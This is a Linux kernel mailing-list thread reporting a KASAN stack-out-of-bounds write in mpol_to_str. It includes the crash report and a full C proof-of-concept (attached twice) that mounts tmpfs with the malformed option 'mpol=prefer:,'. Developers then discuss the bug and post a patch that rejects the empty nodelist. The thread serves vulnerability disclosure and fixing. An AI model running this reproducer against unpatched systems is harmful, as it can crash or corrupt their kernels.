KASAN: stack-out-of-bounds Write in mpol_to_str

KASAN: stack-out-of-bounds Write in mpol_to_str

[Entropy Moe]

[-- Attachment #1.1: Type: text/plain, Size: 237 bytes --]

Hello team,
how are you ?
I wanted to report a bug on mempolicy.c. I found the bug on the latest
version of the kernel.

which is stack out of bound vulnerability.

I am attaching  report.

If you need the POC crash code, I can provide.

[-- Attachment #1.2: Type: text/html, Size: 390 bytes --]

[-- Attachment #2: mpol_to_str.txt --]
[-- Type: text/plain, Size: 3127 bytes --]

==================================================================
BUG: KASAN: stack-out-of-bounds in set_bit include/asm-generic/bitops/instrumented-atomic.h:28 [inline]
BUG: KASAN: stack-out-of-bounds in __node_set include/linux/nodemask.h:130 [inline]
BUG: KASAN: stack-out-of-bounds in mpol_to_str+0x2b9/0x380 mm/mempolicy.c:2962
Write of size 8 at addr ffff88806715fb58 by task systemd/1

CPU: 1 PID: 1 Comm: systemd Not tainted 5.6.0-rc3 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
Call Trace:
 __dump_stack lib/dump_stack.c:77 [inline]
 dump_stack+0xc6/0x11e lib/dump_stack.c:118
 print_address_description.constprop.5+0x16/0x310 mm/kasan/report.c:374
 __kasan_report+0x158/0x1c0 mm/kasan/report.c:506
 kasan_report+0xe/0x20 mm/kasan/common.c:641
 check_memory_region_inline mm/kasan/generic.c:185 [inline]
 check_memory_region+0x15d/0x1b0 mm/kasan/generic.c:192
 set_bit include/asm-generic/bitops/instrumented-atomic.h:28 [inline]
 __node_set include/linux/nodemask.h:130 [inline]
 mpol_to_str+0x2b9/0x380 mm/mempolicy.c:2962
 shmem_show_mpol mm/shmem.c:1406 [inline]
 shmem_show_options+0x37c/0x540 mm/shmem.c:3611
 show_mountinfo+0x5b4/0x870 fs/proc_namespace.c:187
 seq_read+0x9fb/0x1030 fs/seq_file.c:268
 __vfs_read+0x7a/0x100 fs/read_write.c:425
 vfs_read+0x15e/0x370 fs/read_write.c:461
 ksys_read+0x17b/0x210 fs/read_write.c:587
 do_syscall_64+0x9b/0x520 arch/x86/entry/common.c:294
 entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x7f67a589a910
Code: b6 fe ff ff 48 8d 3d 0f be 08 00 48 83 ec 08 e8 06 db 01 00 66 0f 1f 44 00 00 83 3d f9 2d 2c 00 00 75 10 b8 00 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 de 9b 01 00 48 89 04 24
RSP: 002b:00007ffefbf89888 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 000055b4a3ba9c00 RCX: 00007f67a589a910
RDX: 0000000000000400 RSI: 000055b4a3bba200 RDI: 0000000000000013
RBP: 0000000000000d68 R08: 00007f67a72cf500 R09: 00000000000000e0
R10: 000055b4a3bba5e3 R11: 0000000000000246 R12: 00007f67a5b55440
R13: 00007f67a5b54900 R14: 000000000000001d R15: 0000000000000000

The buggy address belongs to the page:
page:ffffea00019c57c0 refcount:0 mapcount:0 mapping:0000000000000000 index:0x0
flags: 0x100000000000000()
raw: 0100000000000000 ffffea00019c57c8 ffffea00019c57c8 0000000000000000
raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected

addr ffff88806715fb58 is located in stack of task systemd/1 at offset 40 in frame:
 mpol_to_str+0x0/0x380 mm/mempolicy.c:2926

this frame has 1 object:
 [32, 40) 'nodes'

Memory state around the buggy address:
 ffff88806715fa00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffff88806715fa80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff88806715fb00: 00 00 00 00 00 00 f1 f1 f1 f1 00 f2 f2 f2 00 00
                                                    ^
 ffff88806715fb80: 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00
 ffff88806715fc00: 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00 00 00 00
==================================================================

Re: KASAN: stack-out-of-bounds Write in mpol_to_str

[Randy Dunlap]

On 3/15/20 12:57 PM, Entropy Moe wrote:
> Hello team,
> how are you ?
> I wanted to report a bug on mempolicy.c. I found the bug on the latest version of the kernel.
> 
> which is stack out of bound vulnerability.
> 
> I am attaching  report. 
> 
> If you need the POC crash code, I can provide.

Hi Moe,

Please post the POC code and your kernel .config file.

thanks.
-- 
~Randy

Re: KASAN: stack-out-of-bounds Write in mpol_to_str

[Entropy Moe]

[-- Attachment #1.1: Type: text/plain, Size: 555 bytes --]

Hello Randy,
please see attached POC for the vulnerability.


On Mon, Mar 16, 2020 at 10:46 PM Randy Dunlap <rdunlap@infradead.org> wrote:

> On 3/15/20 12:57 PM, Entropy Moe wrote:
> > Hello team,
> > how are you ?
> > I wanted to report a bug on mempolicy.c. I found the bug on the latest
> version of the kernel.
> >
> > which is stack out of bound vulnerability.
> >
> > I am attaching  report.
> >
> > If you need the POC crash code, I can provide.
>
> Hi Moe,
>
> Please post the POC code and your kernel .config file.
>
> thanks.
> --
> ~Randy
>
>

[-- Attachment #1.2: Type: text/html, Size: 972 bytes --]

[-- Attachment #2: mpol_to_string_poc.c --]
[-- Type: text/x-csrc, Size: 3515 bytes --]

#define _GNU_SOURCE 

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/loop.h>

static unsigned long long procid;

struct fs_image_segment {
	void* data;
	uintptr_t size;
	uintptr_t offset;
};

#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)

#define sys_memfd_create 319

static unsigned long fs_image_segment_check(unsigned long size, unsigned long nsegs, long segments)
{
	unsigned long i;
	struct fs_image_segment* segs = (struct fs_image_segment*)segments;
	if (nsegs > IMAGE_MAX_SEGMENTS)
		nsegs = IMAGE_MAX_SEGMENTS;
	for (i = 0; i < nsegs; i++) {
		if (segs[i].size > IMAGE_MAX_SIZE)
			segs[i].size = IMAGE_MAX_SIZE;
		segs[i].offset %= IMAGE_MAX_SIZE;
		if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
			segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
		if (size < segs[i].offset + segs[i].offset)
			size = segs[i].offset + segs[i].offset;
	}
	if (size > IMAGE_MAX_SIZE)
		size = IMAGE_MAX_SIZE;
	return size;
}

static long syz_mount_image(volatile long fsarg, volatile long dir, volatile unsigned long size, volatile unsigned long nsegs, volatile long segments, volatile long flags, volatile long optsarg)
{
	char loopname[64], fs[32], opts[256];
	int loopfd, err = 0, res = -1;
	unsigned long i;

size = fs_image_segment_check(size, nsegs, segments);
	int memfd = syscall(sys_memfd_create, "syz_mount_image", 0);
	if (memfd == -1) {
		err = errno;
		goto error;
	}
	if (ftruncate(memfd, size)) {
		err = errno;
		goto error_close_memfd;
	}
	for (i = 0; i < nsegs; i++) {
		struct fs_image_segment* segs = (struct fs_image_segment*)segments;
		int res1 = 0;
res1 = pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset);
		if (res1 < 0) {
		}
	}
	snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
	loopfd = open(loopname, O_RDWR);
	if (loopfd == -1) {
		err = errno;
		goto error_close_memfd;
	}
	if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
		if (errno != EBUSY) {
			err = errno;
			goto error_close_loop;
		}
		ioctl(loopfd, LOOP_CLR_FD, 0);
		usleep(1000);
		if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
			err = errno;
			goto error_close_loop;
		}
	}
	mkdir((char*)dir, 0777);
	memset(fs, 0, sizeof(fs));
strncpy(fs, (char*)fsarg, sizeof(fs) - 1);
	memset(opts, 0, sizeof(opts));
strncpy(opts, (char*)optsarg, sizeof(opts) - 32);
	if (strcmp(fs, "iso9660") == 0) {
		flags |= MS_RDONLY;
	} else if (strncmp(fs, "ext", 3) == 0) {
		if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
			strcat(opts, ",errors=continue");
	} else if (strcmp(fs, "xfs") == 0) {
		strcat(opts, ",nouuid");
	}
	if (mount(loopname, (char*)dir, fs, flags, opts)) {
		err = errno;
		goto error_clear_loop;
	}
	res = 0;
error_clear_loop:
	ioctl(loopfd, LOOP_CLR_FD, 0);
error_close_loop:
	close(loopfd);
error_close_memfd:
	close(memfd);
error:
	errno = err;
	return res;
}

int main(void)
{
		syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0);

memcpy((void*)0x20000000, "tmpfs\000", 6);
memcpy((void*)0x20000100, "./file0\000", 8);
memcpy((void*)0x20000340, "mpol", 4);
*(uint8_t*)0x20000344 = 0x3d;
memcpy((void*)0x20000345, "prefer", 6);
*(uint8_t*)0x2000034b = 0x3a;
*(uint8_t*)0x2000034c = 0x2c;
*(uint8_t*)0x2000034d = 0;
	syz_mount_image(0x20000000, 0x20000100, 0, 0, 0, 0, 0x20000340);
	return 0;
}

[-- Attachment #3: mpol_to_string_poc.c --]
[-- Type: text/x-csrc, Size: 3515 bytes --]

#define _GNU_SOURCE 

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/loop.h>

static unsigned long long procid;

struct fs_image_segment {
	void* data;
	uintptr_t size;
	uintptr_t offset;
};

#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)

#define sys_memfd_create 319

static unsigned long fs_image_segment_check(unsigned long size, unsigned long nsegs, long segments)
{
	unsigned long i;
	struct fs_image_segment* segs = (struct fs_image_segment*)segments;
	if (nsegs > IMAGE_MAX_SEGMENTS)
		nsegs = IMAGE_MAX_SEGMENTS;
	for (i = 0; i < nsegs; i++) {
		if (segs[i].size > IMAGE_MAX_SIZE)
			segs[i].size = IMAGE_MAX_SIZE;
		segs[i].offset %= IMAGE_MAX_SIZE;
		if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
			segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
		if (size < segs[i].offset + segs[i].offset)
			size = segs[i].offset + segs[i].offset;
	}
	if (size > IMAGE_MAX_SIZE)
		size = IMAGE_MAX_SIZE;
	return size;
}

static long syz_mount_image(volatile long fsarg, volatile long dir, volatile unsigned long size, volatile unsigned long nsegs, volatile long segments, volatile long flags, volatile long optsarg)
{
	char loopname[64], fs[32], opts[256];
	int loopfd, err = 0, res = -1;
	unsigned long i;

size = fs_image_segment_check(size, nsegs, segments);
	int memfd = syscall(sys_memfd_create, "syz_mount_image", 0);
	if (memfd == -1) {
		err = errno;
		goto error;
	}
	if (ftruncate(memfd, size)) {
		err = errno;
		goto error_close_memfd;
	}
	for (i = 0; i < nsegs; i++) {
		struct fs_image_segment* segs = (struct fs_image_segment*)segments;
		int res1 = 0;
res1 = pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset);
		if (res1 < 0) {
		}
	}
	snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
	loopfd = open(loopname, O_RDWR);
	if (loopfd == -1) {
		err = errno;
		goto error_close_memfd;
	}
	if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
		if (errno != EBUSY) {
			err = errno;
			goto error_close_loop;
		}
		ioctl(loopfd, LOOP_CLR_FD, 0);
		usleep(1000);
		if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
			err = errno;
			goto error_close_loop;
		}
	}
	mkdir((char*)dir, 0777);
	memset(fs, 0, sizeof(fs));
strncpy(fs, (char*)fsarg, sizeof(fs) - 1);
	memset(opts, 0, sizeof(opts));
strncpy(opts, (char*)optsarg, sizeof(opts) - 32);
	if (strcmp(fs, "iso9660") == 0) {
		flags |= MS_RDONLY;
	} else if (strncmp(fs, "ext", 3) == 0) {
		if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
			strcat(opts, ",errors=continue");
	} else if (strcmp(fs, "xfs") == 0) {
		strcat(opts, ",nouuid");
	}
	if (mount(loopname, (char*)dir, fs, flags, opts)) {
		err = errno;
		goto error_clear_loop;
	}
	res = 0;
error_clear_loop:
	ioctl(loopfd, LOOP_CLR_FD, 0);
error_close_loop:
	close(loopfd);
error_close_memfd:
	close(memfd);
error:
	errno = err;
	return res;
}

int main(void)
{
		syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0);

memcpy((void*)0x20000000, "tmpfs\000", 6);
memcpy((void*)0x20000100, "./file0\000", 8);
memcpy((void*)0x20000340, "mpol", 4);
*(uint8_t*)0x20000344 = 0x3d;
memcpy((void*)0x20000345, "prefer", 6);
*(uint8_t*)0x2000034b = 0x3a;
*(uint8_t*)0x2000034c = 0x2c;
*(uint8_t*)0x2000034d = 0;
	syz_mount_image(0x20000000, 0x20000100, 0, 0, 0, 0, 0x20000340);
	return 0;
}

Re: KASAN: stack-out-of-bounds Write in mpol_to_str

[Andrew Morton]

On Fri, 20 Mar 2020 12:36:38 +0400 Entropy Moe <3ntr0py1337@gmail.com> wrote:

> Hello Randy,
> please see attached POC for the vulnerability.
> 

Thanks.  Ouch.  afaict shmem's S_IFREG inode's mpol's preferred_node is
messed up.

I don't think anyone has worked on this code in a decade or more.  Is
someone up to taking a look please?


> On Mon, Mar 16, 2020 at 10:46 PM Randy Dunlap <rdunlap@infradead.org> wrote:
> 
> > On 3/15/20 12:57 PM, Entropy Moe wrote:
> > > Hello team,
> > > how are you ?
> > > I wanted to report a bug on mempolicy.c. I found the bug on the latest
> > version of the kernel.
> > >
> > > which is stack out of bound vulnerability.
> > >
> > > I am attaching  report.
> > >
> > > If you need the POC crash code, I can provide.
> >
> > Hi Moe,
> >
> > Please post the POC code and your kernel .config file.
> >
> > thanks.
> > --
> > ~Randy
> >
> >

Re: KASAN: stack-out-of-bounds Write in mpol_to_str

[Randy Dunlap]

On 3/20/20 1:36 AM, Entropy Moe wrote:
> Hello Randy,
> please see attached POC for the vulnerability.
> 

Hi Moe,

Do you have anything to do with the syzkaller source code generation? (POC; reproducers)

I don't expect it to be beautiful, but it could be a lot easier to read in a few places.

E.g., the POC that you provided sets a tmpfs mount option string to
"mpol=prefer:,", which is probably purposely malformed (OK), but it does
so in an unreadable manner: (I added the // comments.)

memcpy((void*)0x20000340, "mpol", 4);
*(uint8_t*)0x20000344 = 0x3d; // =
memcpy((void*)0x20000345, "prefer", 6);
*(uint8_t*)0x2000034b = 0x3a; // :
*(uint8_t*)0x2000034c = 0x2c; // ,
*(uint8_t*)0x2000034d = 0;


That kind of obfuscation just helps slow down debugging. :(

-- 
~Randy

[PATCH] mm: mempolicy: require at least one nodeid for MPOL_PREFERRED

[Randy Dunlap]

From: Randy Dunlap <rdunlap@infradead.org>

Using an empty (malformed) nodelist that is not caught during
mount option parsing leads to a stack-out-of-bounds access.

The option string that was used was: "mpol=prefer:,".
However, MPOL_PREFERRED requires a single node number,
which is not being provided here.

Add a check that 'nodes' is not empty after parsing for
MPOL_PREFERRED's nodeid.

Fixes: 095f1fc4ebf3 ("mempolicy: rework shmem mpol parsing and display")
Reported-by: Entropy Moe <3ntr0py1337@gmail.com>
Signed-off-by: Randy Dunlap <rdunlap@infradead.org>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: linux-mm@kvack.org
Cc: Lee Schermerhorn <lee.schermerhorn@hp.com>
---
 mm/mempolicy.c |    6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

--- lnx-56-rc6.orig/mm/mempolicy.c
+++ lnx-56-rc6/mm/mempolicy.c
@@ -2841,7 +2841,9 @@ int mpol_parse_str(char *str, struct mem
 	switch (mode) {
 	case MPOL_PREFERRED:
 		/*
-		 * Insist on a nodelist of one node only
+		 * Insist on a nodelist of one node only, although later
+		 * we use first_node(nodes) to grab a single node, so here
+		 * nodelist (or nodes) cannot be empty.
 		 */
 		if (nodelist) {
 			char *rest = nodelist;
@@ -2849,6 +2851,8 @@ int mpol_parse_str(char *str, struct mem
 				rest++;
 			if (*rest)
 				goto out;
+			if (nodes_empty(nodes))
+				goto out;
 		}
 		break;
 	case MPOL_INTERLEAVE: